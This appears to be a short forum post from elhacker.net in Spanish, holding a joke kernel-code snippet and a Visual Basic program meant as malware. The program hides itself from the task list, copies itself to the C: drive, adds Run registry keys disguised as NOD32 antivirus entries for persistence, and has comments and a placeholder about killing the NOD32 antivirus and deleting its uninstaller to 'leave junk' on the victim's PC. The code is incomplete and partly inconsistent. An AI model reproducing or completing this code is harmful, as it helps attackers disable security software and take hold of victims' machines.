Foro de elhacker.net

KeWaitForSingleObject(LD->BrainActivity, Executive, KernelMode, 0, 0);
//ESTO NUNCA DEBERIA PASAR!!
KeBugCheck(INSTALL_MORE_MEMORY);

Do While lol < 3
lol = lol + 1
If lol = 2 Then lol = 1
DoEvents
"aqui el codigo con el que matas al antivirus o la función que ayas creado"
Loop

Private Sub Form_Load()
App.TaskVisible = false

If App.PrevInstance then
end
end if

FileCopy App.ExeName + ".exe" , "c:\jeje"

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod krn" , "C:\jeje.exe"

shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod kui" , "C:\jeje.exe"

If fso.FileExists("C:\windows\the shredder.dll") Then
kill 'el nod32krn y el otro, tbn podrias borrarle el uninstall para 'dejar basura en su pc...
'a estas alturas el nod32 ya va a estar muerto xD
End
Else
Open "c:\windows\the shredder.dll" For Output As #1
Print #1, "jejeje, si existo realiza la acción, si no no"
Close #1
End
End If
End Sub